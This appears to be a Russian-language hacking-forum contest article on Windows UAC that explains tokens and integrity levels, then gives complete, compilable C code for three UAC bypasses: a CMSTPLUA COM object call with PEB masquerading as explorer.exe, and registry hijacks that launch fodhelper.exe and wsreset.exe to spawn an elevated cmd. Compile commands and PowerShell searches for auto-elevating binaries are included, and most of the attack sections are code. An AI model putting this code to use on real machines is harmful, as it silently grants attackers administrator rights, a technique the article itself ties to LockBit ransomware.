повышение привилегий (обход UAC)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор voldemort
Статья написана для
Конкурса статей #10


Прежде чем начать, поговорим о Токенах и Привилегиях в Windows Когда вы загружаете свой компьютер с Windows или подключаетесь к нему удаленно, происходит следующее:

  • Когда вы входите в Windows, процесс winlogon запускает logonUI.
  • logonUI передает ваши учетные данные в winlogon, который затем передает их в LSASS (Локальная подсистема проверки подлинности).
  • Если ваши учетные данные верны, LSASS создает для вас токен, содержащий ваш идентификатор пользователя, членство в группах и привилегии.
  • Затем winlogon запускает userinit, используя ваш токен.
  • userinit запускает explorer.exe, загружая ваш рабочий стол Windows.
  • Токен содержит список привилегий, таких как SE_SHUTDOWN_PRIVILEGE и SE_LOAD_DRIVER_PRIVILEGE.
  • Привилегии могут быть включены, отключены или отсутствовать.
mechanism.jpg




UAC ?
Прежде всего, что такое UAC? Контроль учетных записей – это функция безопасности, реализованная в различных версиях Windows, начиная с Windows Vista в 2007 году и продолжающаяся в последующих версиях, таких как Windows 7, 8, 8.1 и 10, 11. Основная цель UAC – улучшить безопасность, предотвращая несанкционированные изменения в системе. UAC помогает снизить потенциальные риски, запрашивая согласие или учетные данные пользователя перед разрешением определенных программ или задач вносить системные изменения, которые могут повлиять на безопасность компьютера.

Когда приложение или процесс пытается выполнить действия, требующие административных прав, например, изменить системные настройки или установить программное обеспечение, UAC выводит диалоговое окно с запросом подтверждения или аутентификации. В зависимости от прав учетной записи пользователю может потребоваться ввести пароль администратора или просто подтвердить действие.

Screenshot_20241216_141542.png


Процесс входа в систему в качестве локального администратора в Windows Vista и более поздних версиях похож на вход обычного пользователя, но с одним ключевым отличием: вместо возврата одного токена, возвращаются два. Один токен является фильтрованным, который предоставляет только пять привилегий и работает в режиме средней целостности. Другой - повышенный токен, предоставляющий все привилегии, необходимые для локального администратора, и работающий в режиме высокой целостности. При входе в систему Winlogon запускает пользовательский сеанс в Explorer.exe, используя фильтрованный токен. Однако, как администратор, вы можете выполнять действия с повышенным токеном в режиме высокой целостности.
Screenshot_20241218_120807.png


Screenshot_20241218_120858.png


Вот как это работает: вы входите в свой ПК и видите, что Explorer работает в режиме средней целостности с фильтрованным токеном. Если вы щелкнете правой кнопкой мыши на Командной строке и выберете "Запуск от имени администратора", вы подтвердите запрос UAC, и вуаля — теперь вы работаете в режиме высокой целостности со всеми необходимыми привилегиями.

Теперь, что же такое Режим целостности? Он был введен вместе с UAC и играет важную роль в безопасности Windows. Почти все объекты в Windows имеют режим целостности, включая процессы, файлы или каталоги. Например, корневой каталог C:\ имеет режим высокой целостности. Существует несколько уровней целостности, но мы сосредоточимся на наиболее распространенных - среднем и высоком. Общее правило заключается в том, что для изменения или взаимодействия с объектом вы должны иметь такой же или более высокий уровень целостности. Именно поэтому, когда вы входите в систему как обычный пользователь или локальный администратор, вы не можете просто перетащить файл в корневой каталог C:\ без подтверждения запроса UAC — потому что эта папка работает в режиме высокой целостности.
В современных версиях Windows поддерживаются следующие уровни целостности:
Числовой идентификаторНазваниеОписание
0UntrustedИспользуется редко, например в ходе анонимного подключения.
4096LowНазначается процессам браузеров или контейнеров, чтобы ограничить права на запись в отношения системных файлов или ключей реестра.
8192MediumПо умолчанию назначается большинству процессов прикладных программ.
8448Medium PlusНедокументирован.
12288HighНазначается процессам прикладных программ администратором.
16384SystemАвтоматически назначается всем системным процессам. Процессам прикладных программ назначаться не может.
20480Protected ProcessНазначается специальным защищаемыми процессам

Обход UAC трюк #1 (COM Objects).​

COM - это компонентная архитектура, использующая клиент-серверную модель, которая позволяет выполнять форму межпроцессного взаимодействия, так что это похоже на HTTP API: у вас есть клиент, который общается с сервером через API, и вы перекладываете работу на сервер, но в основном это происходит на одной машине. Итак, у вас есть клиент, которым может быть ваша программа (client.exe), который вызывает COM-объект сервера, который может быть DLL-библиотекой, размещенной на машине. Эта форма коммуникации происходит напрямую, она также может происходить по сети на разных отдельных машинах - это называется DCOM (распределенный COM), и тогда при взаимодействии с COM-объектом, с сервером, это происходит через сеть посредством RPC. COM-объекты - это по сути классы с уникальными идентификаторами (GUID), и клиент запрашивает экземпляр COM-объекта, передавая GUID. После создания экземпляра объекта клиент может вызывать его методы.

Если вы хотите узнать, какие COM-объекты в Windows вы можете использовать и какие доступны вам, вы можете посмотреть в реестре, в HKEY_CLASSES_ROOT\CLSID, где перечислены все доступные вам COM-объекты. Вы можете увидеть там все GUID, а справа вы видите DLL-библиотеки, которые с ними связаны, где фактически находятся COM-объекты, и у нас также есть подраздел с названием interface, который содержит все интерфейсы, которые вы можете использовать для общения с COM-объектами, то есть они содержат определения функций. В COM есть некоторые интересные вещи, он очень тесно работает с UAC, в Windows есть ключ реестра, который мы можем увидеть прямо здесь, который вы можете найти на своей машине Windows, он называется COMAutoApprovalList.
Screenshot 2024-12-18 225628.png




Этот механизм позволяет автоматически повышать привилегии определенных COM-объектов или специфических функций внутри COM-объектов, используя ваш повышенный токен вместо фильтрованного. Однако существует одно ограничение: вызывающая функция (клиент) должна быть действительным подписанным бинарным файлом от Microsoft. Как хакер, конечно, вы обычно этим не располагаете. Проверка того, является ли бинарный файл от Microsoft, довольно слабая. COM-объект использует Process Status API (PSAPI) для проверки вызывающего процесса, а PSAPI проверяет Process Environment Block (PEB) процесса для верификации пути к образу файла.

В Windows Process Environment Block - это область памяти, которую вы можете модифицировать в рамках своего собственного процесса. Вы можете изменить PEB своего процесса, чтобы он ссылался на путь к образу файла, изменяя его на что-то вроде explorer.exe. Это та проверка, которую выполняют COM-объекты, чтобы увидеть, действительно ли explorer.exe вызывает COM-объект. Манипулируя PEB таким образом, вы могли бы, например, Это позволило бы вам скопировать файл на диск C без необходимости подтверждать запрос UAC.

Теперь, хотя возможность копировать файл на диск C без UAC, безусловно, полезна, действительно ли это настолько серьезно? Могут быть другие COM-объекты, которые мы можем эксплуатировать более сложным способом. Например, LockBit несколько лет назад использовал COM-объект под названием cmstpLua, найденный в COMAutoApprovalList. cmstpLua расшифровывается как "Connection Manager Surface Transport Profile", это DLL, отвечающая за управление VPN-подключениями в Windows. Часть "Lua" означает "Limited User Account" (Учетная запись с ограниченными правами), которая теперь связана с User Account Control (UAC), указывая на то, что этот COM-объект может автоматически повышать привилегии.

В то время как копирование файлов является документированной функцией COM, cmstpLua и его аналог CMLua не документированы в Windows, что означает, что вы не можете легко обнаружить, какие функции вы можете вызывать с повышенными привилегиями, просто читая документацию. Так как же это работает? К счастью, Microsoft поставляет отладочные символы для каждой DLL в операционной системе Windows. Вы можете загрузить DLL в дизассемблер, например IDA Pro, и искать имя интерфейса, в данном случае cmlua.dll. В левой части дизассемблера вы увидите список всех функций, доступных в интерфейсе. Одна интересная функция - это ShellExec, которая принимает аргументы, передаваемые функции Windows API под названием ShellExecuteExW. Эта функция позволяет выполнять команды CMD или запускать процессы с определенными аргументами.
Screenshot_20241218_231910.png




Спойлер: uacbypasscmstplua.c
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <windows.h>
#include <shobjidl.h>
#include <shlwapi.h>
#include <winuser.h>
#include <winternl.h>
#define COBJMACROS 1
#include <wuapi.h>


#pragma comment(lib, "uuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")


typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
    BEGIN_INTERFACE
    HRESULT(STDMETHODCALLTYPE* QueryInterface) (__RPC__in ICMLuaUtil* This, __RPC__in REFIID riid, _COM_Outptr_  void** ppvObject);
    ULONG(STDMETHODCALLTYPE* AddRef) (__RPC__in ICMLuaUtil* This);
    ULONG(STDMETHODCALLTYPE* Release) ( __RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method1) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method2) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method3) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method4) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method5) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method6) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* ShellExec) (__RPC__in ICMLuaUtil* This, _In_ LPCTSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow);
    END_INTERFACE
} *PICMLuaUtilVtbl;


interface ICMLuaUtil {
    CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
};


wchar_t* ConvertToWideString(const char* str) {
    int length = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);

    wchar_t* result = (wchar_t*) malloc(length * sizeof(wchar_t));
    
    if (result) {
        MultiByteToWideChar(CP_ACP, 0, str, -1, result, length);
    }

    return result;
}


void* NtGetPeb() {
    #ifdef _M_X64
        return (void*) __readgsqword(0x60);
    #elif _M_IX86
        return (void*) __readfsdword(0x30);
    #else
        #error "This architecture is currently unsupported"
    #endif
}


int masqueradePEB() {
    printf("\t- Defining local structs.\n");

    /**
     * Define local PEB LDR DATA
     */
    typedef struct _PEB_LDR_DATA {
        ULONG Length;
        BOOLEAN Initialized;
        HANDLE SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
        PVOID EntryInProgress;
        BOOLEAN ShutdownInProgress;
        HANDLE ShutdownThreadId;
    } PEB_LDR_DATA, * PPEB_LDR_DATA;

    /**
     * Define local RTL USER PROCESS PARAMETERS
     */
    typedef struct _RTL_USER_PROCESS_PARAMETERS {
        BYTE           Reserved1[16];
        PVOID          Reserved2[10];
        UNICODE_STRING ImagePathName;
        UNICODE_STRING CommandLine;
    } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

    /**
     * Define partial local PEB
     */
    typedef struct _PEB {
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        union
        {
            BOOLEAN BitField;
            struct
            {
                BOOLEAN ImageUsesLargePages : 1;
                BOOLEAN IsProtectedProcess : 1;
                BOOLEAN IsLegacyProcess : 1;
                BOOLEAN IsImageDynamicallyRelocated : 1;
                BOOLEAN SkipPatchingUser32Forwarders : 1;
                BOOLEAN SpareBits : 3;
            };
        };
        HANDLE Mutant;

        PVOID ImageBaseAddress;
        PPEB_LDR_DATA Ldr;
        PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PRTL_CRITICAL_SECTION FastPebLock;
    } PEB, * PPEB;

    /**
     * Define local LDR DATA TABLE ENTRY
     */
    typedef struct _LDR_DATA_TABLE_ENTRY {
        LIST_ENTRY InLoadOrderLinks;
        LIST_ENTRY InMemoryOrderLinks;
        union
        {
            LIST_ENTRY InInitializationOrderLinks;
            LIST_ENTRY InProgressLinks;
        };
        PVOID DllBase;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        ULONG Flags;
        WORD LoadCount;
        WORD TlsIndex;
        union
        {
            LIST_ENTRY HashLinks;
            struct
            {
                PVOID SectionPointer;
                ULONG CheckSum;
            };
        };
        union
        {
            ULONG TimeDateStamp;
            PVOID LoadedImports;
        };
    } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

    typedef NTSTATUS(NTAPI* _RtlEnterCriticalSection) (PRTL_CRITICAL_SECTION CriticalSection);
    typedef NTSTATUS(NTAPI* _RtlLeaveCriticalSection) (PRTL_CRITICAL_SECTION CriticalSection);
    typedef void (WINAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);

    _RtlEnterCriticalSection RtlEnterCriticalSection = (_RtlEnterCriticalSection) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlEnterCriticalSection");
    if (RtlEnterCriticalSection == NULL) {
        printf("Could not find RtlEnterCriticalSection.\n");
        return 1;
    }

    _RtlLeaveCriticalSection RtlLeaveCriticalSection = (_RtlLeaveCriticalSection) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlLeaveCriticalSection");
    if (RtlLeaveCriticalSection == NULL) {
        printf("Could not find RtlLeaveCriticalSection.\n");
        return 1;
    }

    _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlInitUnicodeString");
    if (RtlInitUnicodeString == NULL) {
        printf("Could not find RtlInitUnicodeString.\n");
        return 1;
    }

    printf("\t- Getting 'explorer.exe' path.\n");
    WCHAR chExplorerPath[MAX_PATH];
    GetWindowsDirectoryW(chExplorerPath, MAX_PATH);
    wcscat_s(chExplorerPath, sizeof(chExplorerPath) / sizeof(wchar_t), L"\\explorer.exe");
    LPWSTR pwExplorerPath = (LPWSTR) malloc(MAX_PATH);
    wcscpy_s(pwExplorerPath, MAX_PATH, chExplorerPath);

    printf("\t- Getting current PEB.\n");
    PEB* peb = (PEB*) NtGetPeb();

    RtlEnterCriticalSection(peb->FastPebLock);

    printf("\t- Masquerading ImagePathName and CommandLine.\n");

    RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, chExplorerPath);
    RtlInitUnicodeString(&peb->ProcessParameters->CommandLine, chExplorerPath);

    PLDR_DATA_TABLE_ENTRY pStartModuleInfo = (PLDR_DATA_TABLE_ENTRY) peb->Ldr->InLoadOrderModuleList.Flink;
    PLDR_DATA_TABLE_ENTRY pNextModuleInfo = (PLDR_DATA_TABLE_ENTRY) peb->Ldr->InLoadOrderModuleList.Flink;

    WCHAR wExeFileName[MAX_PATH];
    GetModuleFileNameW(NULL, wExeFileName, MAX_PATH);

    do {
        if (_wcsicmp(wExeFileName, pNextModuleInfo->FullDllName.Buffer) == 0) {
            printf("\t- Masquerading FullDllName and BaseDllName.\n");
            RtlInitUnicodeString(&pNextModuleInfo->FullDllName, pwExplorerPath);
            RtlInitUnicodeString(&pNextModuleInfo->BaseDllName, pwExplorerPath);
            break;
        }

        pNextModuleInfo = (PLDR_DATA_TABLE_ENTRY) pNextModuleInfo->InLoadOrderLinks.Flink;
    } while (pNextModuleInfo != pStartModuleInfo);

    RtlLeaveCriticalSection(peb->FastPebLock);
    return 0;
}

/**
 * Launch the given program with arguments using the CMSTPLUA COM object.
 *
 * @param PCWSTR pszProgram The source file to copy.
 * @param PCWSTR pszArguments The destination folder to copy the source file to.
 * @return HRESULT If he operation succeeded.
 */
HRESULT ComUacBypass(PCWSTR pszProgram, PCWSTR pszArguments) {
    HRESULT hResult;
    ICMLuaUtil* pICMLuaUtil = NULL;
    IID hIID_ICMLuaUtil;

    IBindCtx* iBindContext = NULL;
    IMoniker* iMoniker = NULL;
    BIND_OPTS3 sBindingOpts;


    // Initializing COM
    hResult = CoInitialize(NULL);
    if (FAILED(hResult)) {
        printf("[!] Failed to run CoInitializeEx: 0x%X.\n", hResult);
        goto CLEANUP_AND_RETURN;
    }

    if (IIDFromString(L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &hIID_ICMLuaUtil) != S_OK) {
        puts("[!] Could not get IID from ICMLuaUtil GUID.");
        goto CLEANUP_AND_RETURN;
    }

    // Bind the moniker to get the IFileOperation interface
    RtlSecureZeroMemory(&sBindingOpts, sizeof(sBindingOpts));
    sBindingOpts.cbStruct = sizeof(sBindingOpts);
    sBindingOpts.dwClassContext = CLSCTX_LOCAL_SERVER;
    hResult = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", (BIND_OPTS*) &sBindingOpts, &hIID_ICMLuaUtil, (void**) &pICMLuaUtil);
    if (FAILED(hResult)) {
        printf("[!] Failed to run CoGetObject: 0x%X.\n", hResult);
        goto CLEANUP_AND_RETURN;
    }

    // Copy the actual file
    hResult = pICMLuaUtil->lpVtbl->ShellExec(pICMLuaUtil, (LPSTR) pszProgram, (LPSTR) pszArguments, NULL, SEE_MASK_DEFAULT, SW_SHOW);
    if (FAILED(hResult)) {
        printf("[!] Failed to run ShellExec: 0x%X.\n", hResult);
        goto CLEANUP_AND_RETURN;
    }

    puts("[+] Succesfully executed shell!");

CLEANUP_AND_RETURN:
    if (pICMLuaUtil != NULL) pICMLuaUtil->lpVtbl->Release(pICMLuaUtil);
    if (iMoniker != NULL) iMoniker->lpVtbl->Release(iMoniker);
    if (iBindContext != NULL) iBindContext->lpVtbl->Release(iBindContext);
    CoUninitialize();

RETURN:
    return hResult;
}

void main(int argc, char** argv) {
    puts("UACBypassCMSTPLUA v1.0!\n");

    if (argc != 3) {
        printf("[!] Usage: %s <program.exe> <arguments>\n", argv[0]);
        return;
    }

    wchar_t* pszProgram = ConvertToWideString(argv[1]);
    wchar_t* pszArguments = ConvertToWideString(argv[2]);

    puts("[+] Trying to bypass UAC using the CMSTPLUA COM object.");

    if (SUCCEEDED(masqueradePEB())) {
        printf("[+] Successfully masqueraded PEB.\n");
    } else {
        printf("[+] Failed to masquerade PEB.\n");
    }

    if (SUCCEEDED(ComUacBypass(pszProgram, pszArguments))) {
        printf("[+] Successfully launched %S %S\n", pszProgram, pszArguments);
    } else {
        printf("[+] Failed to launch %S %S\n", pszProgram, pszArguments);
    }
}

для компиляции кода выполните запуск:
Bash: Скопировать в буфер обмена
gcc -o uacbypasscmstplua.exe main.c -lole32 -luuid -lshlwapi

Обход UAC трюк #2 (fodhelper.exe \ ComputerDefaults.exe).​

Более того, наша цель как атакующих/пентестеров заключается в том, чтобы обойти это с целью повышения привилегий в целевой системе, поэтому прежде чем углубляться в то, как можно использовать fodhelper.exe. важно знать, как работают основы этой эксплуатации.
fodhelper.exe был введен в Windows 10 для управления дополнительными функциями, такими как настройки клавиатуры для определенных регионов. Он расположен по пути C:\Windows\System32\fodhelper.exe в директории System32. Этот файл имеет цифровую подпись от Microsoft, что гарантирует его подлинность и целостность.
Screenshot_20241216_141417.png


fodhelper.exe разработан для автоматического запуска с повышенными привилегиями, так как имеет установленный флаг autoelevate. Это позволяет ему повысить уровень целостности с среднего (Medium) до высокого (High) без запроса UAC. Инструмент sigcheck показывает, что приложение предназначено для административных пользователей и требует полных административных прав. Функция autoelevate позволяет ему достичь более высоких привилегий без запроса одобрения администратора.
Запуск fodhelper.exe и захват его событий с помощью ProcMon.exe показывает, что он пытается запросить значение по умолчанию для раздела реестра HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command. Кроме того, он проверяет значение DelegateExecute по тому же пути в реестре (HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command).
Screenshot_20241216_144329.png



Чтобы четко понять механизм эксплуатации, важно рассмотреть, как работает выполнение файлов. Для большей ясности давайте возьмем пример файла .html.
При двойном щелчке по файлу в Windows система определяет, какое приложение должно его открыть, основываясь на расширении файла (например, .html, .txt и т.д.). Информация, связывающая расширения файлов с соответствующими приложениями, хранится в реестре Windows, в частности, в ветке HKEY_CLASSES_ROOT.

  • Предположим, открывается файл .html; система проверяет расширение .html в ветке .html в HKEY_CLASSES_ROOT, чтобы найти его ProgID.
    ProgID: Программный идентификатор (ProgID) - это строка, которая уникально идентифицирует определенную версию COM-класса, которым может быть приложение или компонент. Для файловых ассоциаций ProgID связывает расширение файла с приложением или компонентом, который должен его обрабатывать. Правильная структура имени ключа ProgID следует формату [Производитель или Приложение].[Компонент].[Версия], используя точки для разделения каждой части, без пробелов между ними. Примером может служить Word.Document.6.
    Для HTML-файла ProgID является htmlfile, как показано на изображении ниже.
Screenshot_20241216_144714.png


  • После идентификации ProgID (html-файла) Windows ищет соответствующий ключ ProgID в разделе HKEY_CLASSES_ROOT.
  • В ключе ProgID (HKEY_CLASSES_ROOT\htmlfile) обычно присутствует подраздел shell, который определяет действия, такие как открытие, редактирование и другие.
  • Действие open typically имеет подраздел command, который указывает командную строку для открытия файла. Эта команда обычно указывает на исполняемый файл предпочтительного веб-браузера для html-файла
  • В подразделе command может быть значение, такое как "C:\Program Files\Internet Explorer\iexplore.exe" "%1"
  • Здесь %1 — это заполнитель для пути к файлу. Таким образом, когда открывается файл .html, система выполнит следующую команду, и файл HTML откроется в браузере. ("C:\Program Files\Internet Explorer\iexplore.exe" "C:\path\to\example.html")
    Случай с fodhelper.exe
    В случае с fodhelper.exe система выполняет запрос к HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command. Это происходит потому, что настройки в HKEY_CURRENT_USER\Software\Classes специфичны для текущего вошедшего пользователя и могут переопределять системные настройки. Например, если пользователь настроил открытие .html файлов в другом браузере, это предпочтение сохраняется в этом реестровом пути. В результате система проверяет это местоположение, чтобы выяснить, есть ли у пользователя какие-либо пользовательские команды для открытия exe файлов. Это позволяет fodhelper.exe выполнять команды с повышенными привилегиями на основе настроек, специфичных для пользователя.
Теперь, когда процесс эксплуатации понятен, давайте посмотрим, как он представлен в коде.
Спойлер: fodhelper.c
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>
#define MAX_PATH 260

//check if the process is running with elevated privileges
BOOL IsElevated(){
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)){
        TOKEN_ELEVATION Elevation;
        DWORD dwSize;
        if(GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize)){
            fRet = Elevation.TokenIsElevated;
        }
    }
    if(hToken){
        CloseHandle(hToken);
    }
    return fRet;
}

int elevate(){
     // Registry path to be created
    LPWSTR subkey = L"Software\\Classes\\ms-settings\\shell\\open\\command";
    HKEY phkresult;
    DWORD dwDisposition;

    // Create the specified registry key
    if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
        printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
        return 1;
    }

    printf("The disposition is %x\n", dwDisposition);

 
    LPSTR valueName = "DelegateExecute";
    //get current full path of the current executable
    char values[MAX_PATH];
    GetModuleFileNameA(NULL, values, MAX_PATH);
    printf("The path of the current executable is %s\n", values);

    // Set the value for the default key
    if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, (const BYTE*)values, lstrlenA(values) + 1) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }

    // Set the value for the DelegateExecute key
    if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }

    
    RegCloseKey(phkresult);

    
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = { 0 };

    // Create a new process to run fodhelper.exe You can also use the ComputerDefaults.exe
    if (!CreateProcessA(NULL, "cmd.exe /C fodhelper.exe", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed with error code %x\n", GetLastError());
        return 1;
    }
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

int CleanUp(){
     // Registry path to be created
    LPWSTR subkey = L"Software\\Classes\\ms-settings\\shell\\open\\command";
    HKEY phkresult;
    DWORD dwDisposition;

    // Create the specified registry key
    if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
        printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
        return 1;
    }

    printf("The disposition is %x\n", dwDisposition);

    LPSTR valueName = "DelegateExecute";
    
    // Set the value for the default key
    if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }
    LPSTR originalValue = "{4ed3a719-cea8-4bd9-910d-e252f997afc2}";
    // Set the value for the DelegateExecute key
    if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, (const BYTE*)originalValue, lstrlenA(originalValue) + 1) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }

    RegCloseKey(phkresult);
    return 0;
}


void main(){
    if (IsElevated()){
        system("cmd.exe /C start C:\\Windows\\System32\\cmd.exe");
        CleanUp();
        return;
    }else{
        elevate();
        return;
    }
}
Давайте наконец проверим наш код.
Screenshot_20241219_132050.png



Да! Сработало как и ожидалось, и появляется высокий привилегированный cmd.

Обход UAC трюк #3 (wsreset.exe)​

wsreset.exe используется для сброса настроек Магазина Windows в соответствии с его файлом манифеста
аналогично предыдущим исполняемым файлам Windows. Во время запуска wsreset.exe проверяет значение реестра HKCU\Software\Classes\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\Shell\open\command на предмет команды для запуска. Двоичный файл будет выполнен как процесс высокой целостности без отображения пользователю запроса UAC.
Спойлер: wsreset.c
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>
#define MAX_PATH 260

//check if the process is running with elevated privileges
BOOL IsElevated(){
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)){
        TOKEN_ELEVATION Elevation;
        DWORD dwSize;
        if(GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize)){
            fRet = Elevation.TokenIsElevated;
        }
    }
    if(hToken){
        CloseHandle(hToken);
    }
    return fRet;
}

int elevate(){
     // Registry path to be created
    LPWSTR subkey = L"Software\\Classes\\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\\Shell\\open\\command";
    HKEY phkresult;
    DWORD dwDisposition;

    // Create the specified registry key
    if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
        printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
        return 1;
    }

    printf("The disposition is %x\n", dwDisposition);

 
    LPSTR valueName = "DelegateExecute";
    //get current full path of the current executable
    char values[MAX_PATH];
    GetModuleFileNameA(NULL, values, MAX_PATH);
    printf("The path of the current executable is %s\n", values);

    // Set the value for the default key
    if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, (const BYTE*)values, lstrlenA(values) + 1) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }

    // Set the value for the DelegateExecute key
    if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }

    
    RegCloseKey(phkresult);

    
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = { 0 };

    if (!CreateProcessA(NULL, "powershell.exe -Command Start-Process wsreset.exe -Verb runas", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed with error code %x\n", GetLastError());
        return 1;
    }
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

int CleanUp(){
     // Registry path to be created
    LPWSTR subkey = L"Software\\Classes\\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\\Shell\\open\\command";
    HKEY phkresult;
    DWORD dwDisposition;

    // Create the specified registry key
    if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
        printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
        return 1;
    }

    printf("The disposition is %x\n", dwDisposition);

    LPSTR valueName = "DelegateExecute";
    
    // Set the value for the default key
    if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }
    LPSTR originalValue = "{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}";
    // Set the value for the DelegateExecute key
    if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, (const BYTE*)originalValue, lstrlenA(originalValue) + 1) != ERROR_SUCCESS) {
        printf("RegSetValueExA failed with error code %x\n", GetLastError());
        RegCloseKey(phkresult);
        return 1;
    }

    RegCloseKey(phkresult);
    return 0;
}


void main(){
    if (IsElevated()){
        system("cmd.exe /C start C:\\Windows\\System32\\cmd.exe");
        CleanUp();
        return;
    }else{
        elevate();
        return;
    }
}

Чтобы получить все исполняемые файлы, имеющие свойство auto elevate, вы можете ввести эту команду PowerShell в окне терминала.
Код: Скопировать в буфер обмена
Get-ChildItem "C:\Windows\System32\*.exe" | Select-String -pattern "<autoElevate>true</autoElevate>"
И
Код: Скопировать в буфер обмена
Get-ChildItem "C:\Windows\SysWOW64\*.exe" | Select-String -pattern "<autoElevate>true</autoElevate>"
Надеюсь, вам понравилась статья, хорошего дня.
 
Сверху Снизу